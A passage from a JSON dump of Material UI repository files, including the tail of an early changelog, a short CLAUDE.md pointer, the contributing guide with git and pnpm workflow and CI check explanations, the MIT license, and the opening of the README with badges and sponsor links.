bug with touch ripples.\n- Icon Buttons\n  - Fixed a styling bug with touch ripples. (#341)\n- Menu Item\n  - Link targets can now be set on menu items. (#350)\n- Slider\n  - Fixed percentage calculation in getInitialState (#382)\n- Tabs\n  - The onChange event now passed in the tabIndex, and tab to the callBack (#384)\n- Text Field\n  - Added onEnterKeyDown prop. (#328)\n  - Fixed a bug with setting multiLine values (#356, #357)\n\n## 0.7.0\n\n_Feb. 13, 2015_\n\n### Breaking Changes\n\n- Removed Icon component - Replaced with FontIcon and SvgIcon (#318, #125, #148)\n  - The main motivation here is to give developers more control over which font icons to include\n    in their project. Instead of automatically including all material design icons in material-ui,\n    developers can now create their own custom icon font file and just pass the icon className into\n    the FontIcon component.\n  - Upgrade path:\n    - If you were using the Icon component before, you'll need switch to either using FontIcon or SvgIcon.\n      For FontIcon, create a custom font file and include it in your project and just pass the Icon\n      className into the FontIcon component. For SvgIcon, create a new React component that represents\n      that particular icon. This will allow you to package your icons inside your js files. Examples\n      can be found [here](https://github.com/mui/material-ui/tree/master/src/js/svg-icons).\n    - Additionally, all components that had an icon prop now take an iconClassName prop instead. These\n      include FloatingActionButton, IconButton, Menu, MenuItem, and DropDownIcon.\n\n### General\n\n- All jsx files are now being compiled before publishing to npm. (#179, #215)\n\n### Components\n\n- Buttons\n  - Fixed a bug that cause onClick to not fire in Safari (#307)\n  - You can now pass down children into all buttons. This allows you to add icons to flat and raised buttons\n    or to add a file input element. (#323, #189)\n- Menu Item\n  - Fixed toggle display bug (#298)\n  - Toggle props can now be passed in (#299)\n- Slider\n  - Removed inline style @import (#218)\n- Switches\n  - Switches now support focusability and can be focused/changed via keyboard inputs. (#292)\n  - Added focus and touch ripple animations.\n  - All switches use the labelPosition prop (as opposed to labelPositionRight), including RadioButtonGroup.\n  - Added innerClassName prop. (#309)\n- Tabs\n  - Fixes width transition for ink bar (#280)\n- Text Field\n  - Fixed a bug with using valueLink with a multiline Text Field (#311)\n  - Fixed a bug with multiline defaultValues in a multiline Text Field (#296)\n\n## 0.6.1\n\n_Jan. 26, 2015_\n\n### Fixes\n\n- Checkbox & Toggle\n  - Fixed a bug that caused checkboxes and toggles to not uncheck.\n\n## 0.6.0\n\n_Jan. 26, 2015_\n\n### General\n\n- Fixed dependencies to prevent multiple versions of React getting loaded on the docs site (#194)\n\n### Deprecated\n\n- Input - Please use TextField instead.\n\n### New\n\n- Radio Button Group\n  - This component was created to make it easier to work with groups of radio buttons (#151)\n- Tabs\n  - Added new Tabs component.\n- TextField\n  - This component replaces Input. It extends the native input element and will support all of\n    its props and events. It also supports valueLink and can be controlled or uncontrolled.\n  - MultiLine text fields now grow and shrink as the user inputs data.\n  - Allow for both floating labels and hint text in the same input.\n  - Floating labels now generate a label element.\n\n### Fixes\n\n- AppBar\n  - Added icon prop. (#250)\n- Checkbox\n  - Checkbox styling now matches material design specs\n  - This component has been revamped and can now be controlled or uncontrolled.\n- Date Picker\n  - Fixed a bug with getDate() (#196)\n  - Added onChange prop (#198)\n- Dialog\n  - Actions can now be passed in as an array of react elements. (#241)\n- Menu Item\n  - Menu Items now respond to onTouchTap\n- Radio Button\n  - Radio Button styling now matches material design specs\n  - This component has been revamped and can now be controlled or uncontrolled.\n- Slider\n  - Fixed a CSS bug with slider handles (#225)\n  - Added onDragStart and onDragStop props (#217)\n- Snackbar\n  - Fixed Ghost hidden snackbar (#235)\n- Toggle\n  - This component now extends a native input checkbox.\n  - It can now be controlled or uncontrolled.\n- Toolbar\n  - Fixed FlatButton positioning inside toolbar (#224)\n\n## 0.5.0\n\n_Jan. 3, 2015_\n\n### Breaking Changes\n\n- Removed lesshat dependency. Be sure to change your build process to include an\n  [autoprefixer](https://github.com/sindresorhus/gulp-autoprefixer).\n\n### Components\n\n- Buttons\n  - Ripple animations are much faster now. The animation starts onMouseDown or onTouchStart\n    and completes onMouseUp or onTouchEnd. Now we can spam buttons all day long. :)\n  - Spacebar key up triggers button clicks. (#155)\n- Slider\n  - Changed slider cursor (#187)\n- Snackbar **(New)**\n  - Added a snackbar component.\n\n## 0.4.1\n\n_Dec. 25, 2014_\n\n### General\n\n- Updated to react 0.12.2; browserify 7.0.3\n- Fixed ripple animation on Firefox (#129)\n- Updated red, green, and blue color variables to match specs (#177)\n\n### Components\n\n- Buttons\n  - Added secondary button colors\n  - Removed underline styles on link buttons (#172)\n- Date Picker **(New)**\n  - Added new date picker component.\n  - Dialog version is implemented, inline version to follow in upcoming release.\n  - Has both portrait and landscape modes.\n  - Keyboard support: arrow keys advance dates, shift+arrow advances month.\n- Dialog\n  - Dialog actions now generate buttons with secondary colors.\n  - Added contentClassName prop. This is used to style the actual dialog window.\n    For example, setting its width.\n  - Dialog contents no longer are removed from the DOM when the dialog is dismissed.\n  - Disabled scrolling when the dialog window is open.\n- Input\n  - Added disabled input styles (#140)\n  - Added blur() method\n  - Added support for email input type (#170)\n  - Fix textarea placeholder focus exception (#170)\n  - Added mui-is-not-empty class when the input isn't empty (#170)\n- Slider\n  - Trigger onChange when clicking on slider (#153)\n\n## 0.4.0\n\n_Dec. 15, 2014_\n\n### Breaking Changes\n\n- Removed PaperButton - Use FlatButton, RaisedButton, or FloatingActionButton\n- Removed Roboto font import (#104) - Be sure to [include the Roboto](https://fonts.google.com/specimen/Roboto) font in your project.\n\n### General\n\n- Added react-draggable2 dependency\n\n### Components\n\n- Buttons\n  - Added linkButton functionality (#130)\n- Icon Buttons\n  - Added tooltip functionality\n- Input\n  - Added method to set focus\n- Left Nav\n  - Added method to open left nav panel\n- Radio Button\n  - Added defaultChecked prop\n- Slider (New)\n  - Added slider component\n- Toggle\n  - Updated styles to match material design specs\n\n## 0.3.3\n\n_Dec. 7, 2014_\n\n### General\n\n- Added a basic example project in /example\n\n### Components\n\n- Dialog\n  - Actions are now real buttons\n  - Added transitions\n  - Prefixed classNames with mui\n  - Cleaned up styles\n- Input\n  - Fixed a bug that caused placeholder to not show on focus (#112)\n  - Placeholders can now be displayed in-line by setting inlinePlaceholder to true.\n  - The initial number of rows can now be set with the rows prop.\n- Toggle\n  - Fixed alignment issue (#118)\n  - The initial state of the toggle can now be set with the toggled prop.\n\n## 0.3.2\n\n_Nov. 30, 2014_\n\n### General\n\n- Upgraded dependencies: react 0.12.1, browserify 6.3.3, reactify: 0.17.1\n\n### Components\n\n- Dialog\n  - Added key prop to dialog actions. (#99)\n  - Added onDismiss event callback. (#86)\n  - Dialog is now positioned onMound and onUpdate (#85)\n  - Fixed a bug that caused dialog to not be vertically centered on long pages\n- Dropdown Menu\n  - Added autoWidth prop (#89)\n- Menu\n  - Added autoWidth prop\n- Nested Menu\n  - Fixed bug that caused some nesteed menus to not show. (#88)\n- Paper\n  - Updated to use spread operator\n- Radio Button\n  - Fixed radio button label styles. (#94)\n- Ripple\n  - Account for page scrolling on ripple animation. (#93)\n\n## 0.3.1\n\n_Nov. 28, 2014_\n\n### General\n\n- Removed browserify react addons alias. (#68)\n\n### Components\n\n- FlatButton, RaisedButton, and FloatingActionButton (NEW)\n  - These buttons will replace the current PaperButton which will be\n    depreciated in v.0.4.0.\n  - They generate actual button tags, are keyboard focusable and listen\n    to onTouchTap. (#50, #61)\n- Icon Button\n  - Pressing enter when the button is in focus now fires onTouchTap\n  - Added dark theme ripple colors\n  - Focus and click animations now use Scale Transforms to improve performance.\n- Input\n  - Added support for ReactLink and use JSX spread attributes\n  - Error messages are now props instead of internal states (#95)\n- LeftNav\n  - Pressing ESC now closes the left nav\n- PaperButton\n  - Will be depreciated in v.0.4.0.\n- Radio Button\n  - Fixed toggle bug. (#70)\n\n### Mixins\n\n- WindowListenable is now available from Mixins.WindowListenable\n\n### Utils\n\n- Added KeyCodes constants\n\n## 0.3.0\n\n_Nov. 17, 2014_\n\n### General\n\n- Updated Browserify & Reactify versions\n- Enabled reactify es6 transformations\n- Removed jQuery dependency (#25)\n- Added reaact-tap-event-plugin dependency\n\n### Components\n\n- Dialog\n  - Width is now determined by content\n  - Position is centered horizontally inside parent container\n  - Pressing Esc now closes the dialog (#35)\n- Dropdown Menu\n  - Added underline (#39)\n  - Fixed display problem on double click (#43)\n- Icon\n  - Transfer all props to underlying span\n- Icon Button (New)\n  - Buttons...that are icons. :)\n- Input\n  - Added required, min, max and step\n- LeftNav\n  - Fixed left nav style when docked (#36)\n  - Transition now uses translate3d instead of left\n  - Overlay now listens to onTouchTap\n- Menu Items\n  - Added user select none styles (#45)\n- Paper\n  - Added onMouseOver & onMouseOut props\n- Toolbar\n  - Items are now passed in as children instead of groupItem prop\n\n### Mixins\n\n- Added WindowListenable. Allows listening to window events.\n\n### Utils\n\n- Added Dom and Events utility functions\n- Fixed a bug that caused CSS Events to bind twice\n\n### Less\n\n- Added media query variables\n- Added no-wrap mixin\n- Removed unnecessary style resets\n- Removed tab highlight color on all elements\n\n## 0.2.2\n\n_Nov. 11, 2014_\n\n- Changed project structure to be less confusing. Material UI components/styles live in the src directory.\n  Docs site code lives in the docs directory. This still allows us to easily test components in the docs site\n  as we are working on them\n- Added .editorconfig to help keep code formatting consistent among contributors. See https://editorconfig.org/\n- Fixed drop down display issue in safari\n- Fixed nested menu arrow icon\n- Added hover transitions to menus\n- Improved ripple animation on buttons\n\n## 0.2.1\n\n_Nov. 8, 2014_\n\n- Fixed icon font reference. We're now including it as part of the project\n  instead of an npm dependency.\n\n## 0.2.0\n\n_Nov. 7, 2014_\n\n- Icon\n  - Added all font icons from the unofficial material design icon font:\n    https://github.com/designjockey/material-design-fonticons\n  - All icon names had to change because of this. Sorry. :(\n- PaperButton\n  - Added href prop\n  - CSS fixes\n- Dialog\n  - Added onShow event\n  - Children contents of the dialog is only rendered if the dialog is opened\n- LeftNav\n  - Fixed a bug that caused docked LeftNav component to close on menu click\n  - Removed isInitiallyOpen prop\n- Input\n  - onLineBreak event now passes back event (e) on callback\n\n## 0.1.29\n\n_Nov. 5, 2014_\n\n- CSS fix on paper component\n- hover transition fix on buttons\n- removed selected state on drop down icon component\n- CSS fix on left nav component\n- added prop on left nav component to allow left nav to be docked and hidden\n"
  },
  {
    "path": "CLAUDE.md",
    "content": "# CLAUDE.md\n\nThis file provides guidance to Claude Code (claude.ai/code) when working with code in this repository.\n\nSee [AGENTS.md](./AGENTS.md) for codebase documentation.\n"
  },
  {
    "path": "CONTRIBUTING.md",
    "content": "# Contributing to Material UI and MUI System\n\nIf you're reading this, you're awesome!\nThank you for being a part of the community and helping us make these projects great.\nHere are a few guidelines that will help you along the way.\n\n## Summary\n\n- [Code of conduct](#code-of-conduct)\n- [A large spectrum of contributions](#a-large-spectrum-of-contributions)\n- [Your first pull request](#your-first-pull-request)\n- [Sending a pull request](#sending-a-pull-request)\n  - [Trying changes on the documentation site](#trying-changes-on-the-documentation-site)\n  - [Trying changes on the playground](#trying-changes-on-the-playground)\n  - [How to increase the chances of being accepted](#how-to-increase-the-chances-of-being-accepted)\n  - [CI checks and how to fix them](#ci-checks-and-how-to-fix-them)\n  - [Updating the component API documentation](#updating-the-component-api-documentation)\n  - [Coding style](#coding-style)\n- [Contributing to the documentation](#contributing-to-the-documentation)\n  - [How to find docs issues to work on](#how-to-find-docs-issues-to-work-on)\n  - [How to add a new demo to the docs](#how-to-add-a-new-demo-to-the-docs)\n- [How can I use a change that hasn't been released yet?](#how-can-i-use-a-change-that-hasnt-been-released-yet)\n- [Roadmap](#roadmap)\n- [License](#license)\n\n## Code of conduct\n\nWe have adopted the [Contributor Covenant](https://www.contributor-covenant.org/) as our code of conduct, and we expect project participants to adhere to it.\nPlease read [the full text](https://github.com/mui/.github/blob/master/CODE_OF_CONDUCT.md) to understand what actions will and will not be tolerated.\n\n## A large spectrum of contributions\n\nThere are [many ways](https://mui.com/material-ui/getting-started/faq/#mui-is-awesome-how-can-i-support-the-project) to contribute to the library, and writing code is only one part of the story—[documentation improvements](#contributing-to-the-documentation) can be just as important as code changes.\nIf you have an idea for an improvement to the code or the docs, we encourage you to open an issue as a first step, to discuss your proposed changes with the maintainers before proceeding.\n\n## Your first pull request\n\nWorking on your first pull request? You can learn how in this free video series: [How to Contribute to an Open Source Project on GitHub](https://egghead.io/courses/how-to-contribute-to-an-open-source-project-on-github).\n\nGet started with [good first issues](https://github.com/mui/material-ui/issues?q=is:open+is:issue+label:\"good+first+issue\"), which have a limited scope and a working solution that's already been discussed.\nThis makes them ideal for newer developers, or those who are new to these libraries and want to see how the contribution process works.\n\nWe also have a list of [ready to take issues](https://github.com/mui/material-ui/issues?q=is:open+is:issue+label:\"ready+to+take\"), which are issues that have already been at least partially resolved in discussion, to the point that it's clear what to do next.\nThese issues are great for developers who want to reduce their chances of falling down a rabbit hole in search of a solution.\n\nOf course, you can work on any other issue you like—the \"good first\" and \"ready to take\" issues are simply those where the scope and timeline may be better defined.\nPull requests for other issues, or completely novel problems, may take a bit longer to review if they don't fit into our current development cycle.\n\nIf you decide to fix an issue, please make sure to check the comment thread in case somebody is already working on a fix.\nIf nobody is working on it at the moment, please leave a comment stating that you've started to work on it, so other people don't accidentally duplicate your effort.\n\nIf somebody claims an issue but doesn't follow up after more than a week, it's fine to take over, but you should still leave a comment.\nIf there has been no activity on the issue for 7 to 14 days, then it's safe to assume that nobody is working on it.\n\n## Sending a pull request\n\nMUI Core projects are community-driven, so pull requests are always welcome, but before working on a large change, it's best to open an issue first to discuss it with the maintainers.\n\nWhen in doubt, keep your pull requests small.\nFor the best chances of being accepted, don't bundle more than one feature or bug fix per PR.\nIt's often best to create two smaller PRs rather than one big one.\n\n1. Fork the repository.\n\n2. Clone the fork to your local machine and add the upstream remote:\n\n```bash\ngit clone https://github.com/<your username>/material-ui.git\ncd material-ui\ngit remote add upstream https://github.com/mui/material-ui.git\n```\n\n<!-- #target-branch-reference -->\n\n3. Synchronize your local `master` branch with the upstream one:\n\n```bash\ngit checkout master\ngit pull upstream master\n```\n\n4. Install the dependencies with pnpm (yarn or npm aren't supported):\n\n```bash\npnpm install\n```\n\n5. Create a new topic branch:\n\n```bash\ngit checkout -b my-topic-branch\n```\n\n6. Make changes, commit, and push to your fork:\n\n```bash\ngit push -u origin HEAD\n```\n\n7. Go to [the repository](https://github.com/mui/material-ui) and open a pull request.\n\nThe core team actively monitors for new pull requests.\nWe will review your PR and either merge it, request changes to it, or close it with an explanation.\n\n### Trying changes on the documentation site\n\nThe documentation site is built with Material UI and contains examples of all of the components.\nThis is the best place to experiment with your changes—it's the local development environment used by the maintainers.\n\nTo get started, run:\n\n```bash\npnpm start\n```\n\nYou can now access the documentation site locally: http://localhost:3000.\nChanges to the docs will hot reload the site.\n\n### Trying changes on the playground\n\nWhile we do recommend trying your changes on the documentation site, this is not always ideal.\nYou might face the following problems:\n\n- Updating the existing demos prevents you from working in isolation on a single instance of the component\n- Emptying an existing page to try your changes in isolation leads to a noisy `git diff`\n- Static linters may report issues that you might not care about\n\nTo avoid these problems, you can use this playground:\n\n```bash\npnpm docs:create-playground && pnpm start\n```\n\nAccess it locally at: http://localhost:3000/playground/.\n\nYou can create as many playgrounds as you want by going to the `/docs/pages/playground/` folder and duplicating the `index.tsx` file with a different name: `<file_name>.tsx`.\nThe new playground will be accessible at: `http://localhost:3000/playground/<file_name>`.\n\n### How to increase the chances of being accepted\n\nContinuous Integration (CI) automatically runs a series of checks when a PR is opened.\nIf you're unsure whether your changes will pass, you can always open a PR, and the GitHub UI will display a summary of the results.\nIf any of these checks fail, refer to [CI checks and how to fix them](#ci-checks-and-how-to-fix-them).\n\nMake sure the following is true:\n\n<!-- #target-branch-reference -->\n\n- The branch is targeted at `master` for ongoing development. All tests are passing. Code that lands in `master` must be compatible with the latest stable release. It may contain additional features but no breaking changes. We should be able to release a new minor version from the tip of `master` at any time.\n- If a feature is being added:\n  - If the result was already achievable with the core library, you've explained why this feature needs to be added to the core.\n  - If this is a common use case, you've added an example to the documentation.\n- If adding new features or modifying existing ones, you've included tests to confirm the new behavior. You can read more about our test setup in our test [README](https://github.com/mui/material-ui/blob/HEAD/test/README.md).\n- If props were added or prop types were changed, you've updated the TypeScript declarations.\n- If submitting a new component, you've added it to the [lab](https://github.com/mui/material-ui/tree/HEAD/packages/mui-lab).\n- The branch is not [behind its target branch](https://docs.github.com/pull-requests/collaborating-with-pull-requests/proposing-changes-to-your-work-with-pull-requests/keeping-your-pull-request-in-sync-with-the-base-branch).\n\nWe will only merge a PR when all tests pass.\nThe following statements must be true:\n\n- The code is formatted. If the code was changed, run `pnpm prettier`.\n- The code is linted. If the code was changed, run `pnpm eslint`.\n- The code is type-safe. If TypeScript sources or declarations were changed, run `pnpm typescript` to confirm that the check passes.\n- The API docs are up to date. If API was changed, run `pnpm proptypes && pnpm docs:api`.\n- The demos are up to date. If demos were changed, run `pnpm docs:typescript:formatted`. See [about writing demos](#2-write-the-demo-code).\n- The pull request title follows the pattern `[product-name][Component] Imperative commit message`. (See: [How to Write a Git Commit Message](https://chris.beams.io/posts/git-commit/) for a great explanation).\n\nDon't worry if you miss a step—the Continuous Integration will run a thorough set of tests on your commits, and the maintainers of the project can assist you if you run into problems.\n\nIf your pull request addresses an open issue, make sure to link the PR to that issue.\nUse any [supported GitHub keyword](https://docs.github.com/en/issues/tracking-your-work-with-issues/linking-a-pull-request-to-an-issue#linking-a-pull-request-to-an-issue-using-a-keyword) in the PR description to automatically link them.\nThis makes it easier to understand where the PR is coming from, and also speeds things up because the issue will be closed automatically when the PR is merged.\n\n### CI checks and how to fix them\n\nIf any of the checks fail, click on the **Details** link and review the logs of the build to find out why it failed.\nFor CircleCI, you need to log in first.\nNo further permissions are required to view the build logs.\nThe following sections give an overview of what each check is responsible for.\n\n#### Continuous Releases\n\nThis task publishes a preview for the packages to pkg.pr.new. It should not fail in isolation. Use it to test more complex scenarios.\n\n#### ci/circleci: checkout\n\nThis is a preflight check to see if the dependencies and lockfile are ok.\nRunning `pnpm` and `pnpm deduplicate` should fix most issues.\n\n#### ci/circleci: test_static\n\nThis checks code format and lints the repository.\nThe log of the failed build should explain how to fix any issues.\nIt also runs commands that generate or change some files (like `pnpm docs:api` for API documentation).\nIf the CI job fails, then you most likely need to run the commands that failed locally and commit the changes.\n\n#### ci/circleci: test_unit-1\n\nThis runs the unit tests in a `jsdom` environment.\nIf it fails then `pnpm test:unit` should<sup>[1](test/README.md#accessibility-tree-exclusion)</sup> fail locally as well.\nYou can narrow the scope of tests run with `pnpm test:unit --grep ComponentName`.\nIf `pnpm test:unit` passes locally, but fails in CI, consider [Accessibility tree exclusion in CI](test/README.md#accessibility-tree-exclusion).\n\n#### ci/circleci: test_browser\n\nThis runs the unit tests in multiple browsers (via Playwright).\nThe log of the failed build should list which browsers failed.\nIf Chrome failed then `pnpm test:browser` should<sup>[1](test/README.md#accessibility-tree-exclusion)</sup> fail locally as well.\nIf other browsers failed, you can debug using `VITEST_BROWSERS=firefox,webkit pnpm test:browser`.\n\n#### ci/circleci: test_regression\n\nThis renders tests in `test/regressions/tests` and takes screenshots.\nThis step shouldn't fail if the others pass.\nOtherwise, a maintainer will take a look.\nThe screenshots are evaluated in another step.\n\n#### ci/circleci: test_types\n\nThis typechecks the repository.\nThe log of the failed build should list any issues.\n\n#### ci/circleci: test_bundle_size_monitor\n\nThis task is primarily responsible for monitoring the bundle size.\nIt will only report the size if the change exceeds a certain threshold.\nIf it fails, then there's usually something wrong with the way the packages or docs were built.\n\n#### argos\n\nThis evaluates the screenshots taken in `test/regressions/tests`, and fails if it detects\ndifferences.\nThis doesn't necessarily mean that your PR will be rejected, as a failure might be intended.\nClicking on **Details** will show you the differences.\n\n#### deploy/netlify\n\nThis renders a preview of the docs with your changes if it succeeds.\nOtherwise `pnpm docs:build` usually fails locally as well.\n\n#### codecov/project\n\nThis monitors coverage of the tests.\nA reduction in coverage isn't necessarily bad, but it's always appreciated if it can be improved.\n\n#### Misc\n\nThere are various other checks done by Netlify to validate the integrity of the docs.\nClick on **Details** to find out more about them.\n\n### Updating the component API documentation\n\nThe component API in the component `propTypes` and under `docs/pages/api-docs` is auto-generated from the [JSDoc](https://jsdoc.app/about-getting-started.html) in the TypeScript declarations.\nBe sure to update the documentation in the corresponding `.d.ts` files (for example `packages/mui-material/src/Button/Button.d.ts` for `<Button>`) and then run:\n\n```bash\n$ pnpm proptypes\n$ pnpm docs:api\n```\n\n### Coding style\n\nPlease follow the coding style of the project.\nIt uses Prettier and ESLint, so if possible, enable linting in your editor to get real-time feedback.\n\n- `pnpm prettier` reformats the code.\n- `pnpm eslint` runs the linting rules.\n\nWhen you submit a PR, these checks are run again by our continuous integration tools, but hopefully your code is already clean!\n\n## Contributing to the documentation\n\nContributing to open-source docs involves a lot more than just fixing typos—developers frequently request more in-depth explanations of component features, and this requires both coding and technical writing to accomplish.\nEvery documentation PR will be reviewed by an editor following [MUI's writing style guide](https://mui-org.notion.site/Writing-style-guide-2a957a4168a54d47b14bae026d06a24b), and if you plan to contribute regularly, you should familiarize yourself with this guide to speed up the editing process.\n\n### How to find docs issues to work on\n\nIf you're interested in contributing to the docs but aren't sure where to start, you can use this search prompt in the GitHub repo to find open issues tagged with both `docs` and `ready to take`:\n\n`is:issue is:open label:docs label:\"ready to take\"`\n\nOr [follow this link directly to the results of that search](https://github.com/mui/material-ui/issues?q=is%3Aissue+is%3Aopen+label%3Adocs+label%3A%22ready+to+take%22).\n\n### How to add a new demo to the docs\n\nThe following steps explain how to add a new demo to the docs using the Button component as an example:\n\n#### 1. Add a new component file to the directory\n\nAdd the new file to the component's corresponding directory:\n\n```bash\ndocs/src/pages/components/buttons/\n```\n\nand give it a name: how about `SuperButtons.tsx`?\n\n#### 2. Write the demo code\n\nWe use TypeScript to document our components.\nWe prefer demos written in TypeScript (using the `.tsx` file format).\n\nAfter creating a TypeScript demo, run `pnpm docs:typescript:formatted` to automatically create the JavaScript version, which is also required.\n\nIf you're not familiar with TypeScript, you can write the demo in JavaScript, and a core contributor may help you migrate it to TypeScript.\n\n#### 3. Edit the page's Markdown file\n\nThe Markdown file in the component's respective folder—in this case, `/buttons/buttons.md`—is the source of content for the document.\nAny changes you make there will be reflected on the website.\n\nAdd a header and a brief description of the demo and its use case, along with the `\"demo\"` code snippet to inject it into the page:\n\n```diff\n+### Super buttons\n+\n+To create a super button for a specific use case, add the `super` prop:\n+\n+{{\"demo\": \"pages/components/buttons/SuperButtons.js\"}}\n```\n\n#### 4. Submit your PR\n\nNow you're ready to [open a PR](#sending-a-pull-request) to add your new demo to the docs.\n\nCheck out [this Toggle Button demo PR](https://github.com/mui/material-ui/pull/19582/files) for an example of what your new and edited files should look like when opening your own demo PR.\n\n## How can I use a change that hasn't been released yet?\n\nWe use [pkg.pr.new](https://pkg.pr.new) to publish a working version of the packages for each pull request as a \"preview.\"\n\nYou can check the _Continuous Releases_ status of a pull request to get the URL needed to install these preview packages:\n\n```diff\ndiff --git a//package.json b//package.json\nindex 791a7da1f4..a5db13b414 100644\n--- a/package.json\n+++ b/package.json\n@@ -61,7 +61,7 @@\n   \"dependencies\": {\n     \"@babel/runtime\": \"^7.4.4\",\n     \"@mui/styled-engine\": \"^5.0.0-alpha.16\",\n-    \"@mui/material\": \"^5.0.0-alpha.15\",\n+    \"@mui/material\": \"https://pkg.pr.new/mui/material-ui/@mui/material@b0f26aa\",\n     \"@mui/system\": \"^5.0.0-alpha.16\",\n```\n\nAlternatively, you can open the Netlify preview of the documentation, and open any demo in CodeSandbox or StackBlitz.\nThe documentation automatically configures the dependencies to use the preview packages.\n\nYou can also package and test your changes locally.\nThe following example shows how to package `@mui/material`, but you can package any npm package with this process:\n\n```bash\n$> cd packages/mui-material # or path to any other mui package\n$packages\\mui-material> pnpm build\n$packages\\mui-material> cd ./build\n$packages\\mui-material> pnpm pack\n```\n\nNavigate to the build folder of your respective package and locate a file with the format `mui-material-x.x.x.tar.gz`.\nCopy this file and move it to the project directory you want to test in, then run:\n\n```bash\n$test-project> npm i ./path-to-file/mui-material-x.x.x.tar.gz\n```\n\n> **Note**\n>\n> If you've already installed this package, your changes will not be reflected when you reinstall it.\n> As a quick fix, you can temporarily bump the version number in your `package.json` before running `pnpm build`.\n\n## Roadmap\n\nLearn more about the future by visiting our different projects' roadmaps:\n\n- [Material UI roadmap](https://mui.com/material-ui/discover-more/roadmap/).\n\n## License\n\nBy contributing your code to the [mui/material-ui](https://github.com/mui/material-ui) GitHub repository, you agree to license your contribution under the [MIT license](/LICENSE).\n"
  },
  {
    "path": "LICENSE",
    "content": "The MIT License (MIT)\n\nCopyright (c) 2014 Call-Em-All\n\nPermission is hereby granted, free of charge, to any person obtaining a copy\nof this software and associated documentation files (the \"Software\"), to deal\nin the Software without restriction, including without limitation the rights\nto use, copy, modify, merge, publish, distribute, sublicense, and/or sell\ncopies of the Software, and to permit persons to whom the Software is\nfurnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all\ncopies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR\nIMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,\nFITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE\nAUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER\nLIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,\nOUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE\nSOFTWARE.\n"
  },
  {
    "path": "README.md",
    "content": "<!-- #host-reference -->\n<!-- markdownlint-disable-next-line -->\n<p align=\"center\">\n  <a href=\"https://next.mui.com/core/\" rel=\"noopener\" target=\"_blank\"><img width=\"150\" height=\"133\" src=\"https://next.mui.com/static/logo.svg\" alt=\"Material UI logo\"></a>\n</p>\n\n<h1 align=\"center\">Material UI</h1>\n\n<div align=\"center\">\n\n[![license](https://img.shields.io/badge/license-MIT-blue.svg)](https://github.com/mui/material-ui/blob/HEAD/LICENSE)\n[![npm latest package](https://img.shields.io/npm/v/@mui/material/latest.svg)](https://www.npmjs.com/package/@mui/material)\n[![npm next package](https://img.shields.io/npm/v/@mui/material/next.svg)](https://www.npmjs.com/package/@mui/material)\n[![npm downloads](https://img.shields.io/npm/dm/@mui/material.svg)](https://www.npmjs.com/package/@mui/material)\n[![GitHub branch status](https://img.shields.io/github/checks-status/mui/material-ui/HEAD)](https://github.com/mui/material-ui/commits/HEAD/)\n[![Coverage Status](https://img.shields.io/codecov/c/github/mui/material-ui.svg)](https://app.codecov.io/gh/mui/material-ui/)\n[![Follow on X](https://img.shields.io/twitter/follow/MaterialUI.svg?label=follow+Material+UI)](https://x.com/MaterialUI)\n[![Renovate status](https://img.shields.io/badge/renovate-enabled-brightgreen.svg)](https://github.com/mui/material-ui/issues/27062)\n[![Average time to resolve an issue](https://isitmaintained.com/badge/resolution/mui/material-ui.svg)](https://isitmaintained.com/project/mui/material-ui 'Average time to resolve an issue')\n[![Open Collective backers and sponsors](https://img.shields.io/opencollective/all/mui-org)](https://opencollective.com/mui-org)\n[![OpenSSF Best Practices](https://www.bestpractices.dev/projects/1320/badge)](https://www.bestpractices.dev/projects/1320)\n\n</div>\n\n[Material UI](https://mui.com/material-ui/) is a comprehensive library of React components that features our independent implementation of Google's [Material Design](https://m2.material.io/design/introduction/) system.\nIt's trusted by some of the world's greatest product teams because it's been rigorously battle-tested through more than a decade of development by thousands of open-source contributors.\n\nMaterial UI's core functionality is extended by [MUI X](https://github.com/mui/mui-x), a suite of complex components for advanced use cases.\n\n## Documentation\n\nGet started in the [Material UI documentation](https://mui.com/material-ui/getting-started/).\n\n<details>\n  <summary>Older versions</summary>\n\n- **[v5.x](https://v5.mui.com/)** ([Upgrading from v5 to v6](https://mui.com/material-ui/migration/upgrade-to-v6/))\n- **[v4.x](https://v4.mui.com/)** ([Upgrading from v4 to v5](https://mui.com/material-ui/migration/migration-v4/))\n- **[v3.x](https://v3.mui.com/)** ([Upgrading from v3 to v4](https://mui.com/material-ui/migration/migration-v3/))\n- **[v0.x](https://v0.mui.com/)** ([Upgrading to v1](https://mui.com/material-ui/migration/migration-v0x/))\n\n</details>\n\n**Note:** `@next` points to pre-releases.\nUse `@latest` for the latest stable release.\n\n## Sponsors\n\n### Diamond 💎\n\n<p>\n  <a href=\"https://www.doit.com/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\"><img height=\"128\" width=\"128\" src=\"https://mui.com/static/sponsors/doit-square.svg\" alt=\"doit\" title=\"Management Platform for Google Cloud and AWS\" loading=\"lazy\" /></a>\n  <a href=\"https://formengine.io/lightweight-react-json-schema-form-builder-library-for-mui/?utm_source=mui&utm_medium=sponsor&utm_campaign=mui&utm_content=stop-manually&utm_term=smartway\" rel=\"noopener sponsored\" target=\"_blank\"><img height=\"128\" width=\"128\" src=\"https://mui.com/static/sponsors/formengine-square.svg\" alt=\"formengine\" title=\"Build forms with MUI the smart way!\" loading=\"lazy\" /></a>\n</p>\n\nDiamond sponsors are those who have pledged \\$1,500/month or more to MUI.\n\n### Gold 🏆\n\nvia [Open Collective](https://opencollective.com/mui-org) or via [Patreon](https://www.patreon.com/oliviertassinari)\n\n<p>\n  <a href=\"https://tidelift.com/\" rel=\"noopener sponsored\" target=\"_blank\"><img height=\"96\" width=\"96\" src=\"https://avatars.githubusercontent.com/u/30204434?s=288\" alt=\"tidelift.com\" title=\"Tidelift: Enterprise-ready open-source software.\" loading=\"lazy\" /></a>\n  &nbsp;\n  <a href=\"https://www.dialmycalls.com/?utm_source=mui.com&utm_medium=referral&utm_content=readme\" rel=\"noopener sponsored\" target=\"_blank\"><img height=\"96\" width=\"96\" 